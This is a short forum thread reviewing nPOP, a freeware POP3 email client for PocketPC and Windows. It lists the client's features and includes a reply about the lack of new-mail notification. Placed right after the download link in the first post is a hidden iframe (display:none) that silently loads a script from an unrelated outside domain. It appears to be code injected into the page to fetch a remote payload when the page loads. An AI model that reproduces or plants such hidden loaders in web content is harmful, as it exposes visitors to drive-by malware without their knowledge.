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    What is Nakka's nPOP?

    <img src="images/software-npop.gif" align="right">
    nPOP is a very small, very powerful, very fast freeware POP3 email client for the PocketPC (also for Windows). It's features include:
    <ul>
    <li>Receive E-Mail (POP3 and APOP) </li>
    <li>Send Mail (SMTP and SMTP-AUTH and POP before SMTP) </li>
    <li>User specified ports for POP3 and SMTP </li>
    <li>Multi-account support (round reception is possible)</li>
    <li>Automatic check for new mail </li>
    <li>Mail is saved in a message box. </li>
    <li>A thread display of the mail list </li>
    <li>Support for attachments when sending and receiving e-mail (RFC 2231) </li>
    <li>Filters for Routing Received E-Mail </li>
    <li>Simple address book </li>
    <li>Dial-up management </li>
    </ul>
    nPOP allows you to access e-mail on a POP3 mail server on your Pocket PC or PC. It provides the function of common remote e-mail access. The mail displayed by nPOP is only the mail on the present on the server. Therefore, if mail is deleted from your server it will disappear from a list, even if the mail is displayed in the list. When you connect using nPOP, the mail is listed and you can see the header only. From that list you can select e-mail you want to receive on your Pocket PC or PC. This is more efficient than downloading all the e-mail on your Pocket PC or PC.

    The primary negative with nPOP is that it only works with POP3.

    You can download the program from <a class="postlink" target="_blank" href="http://www.nakka.com/soft/npop/index_eng.html">www.nakka.com</a><iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    Mike - Been Converged?

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    Another issue with this program, if I understand correctly, is that there is no "today" module for it, meaning even if it checks for mail every X minutes it does not notify you that you have mail. You have to open the program to check.

    TM

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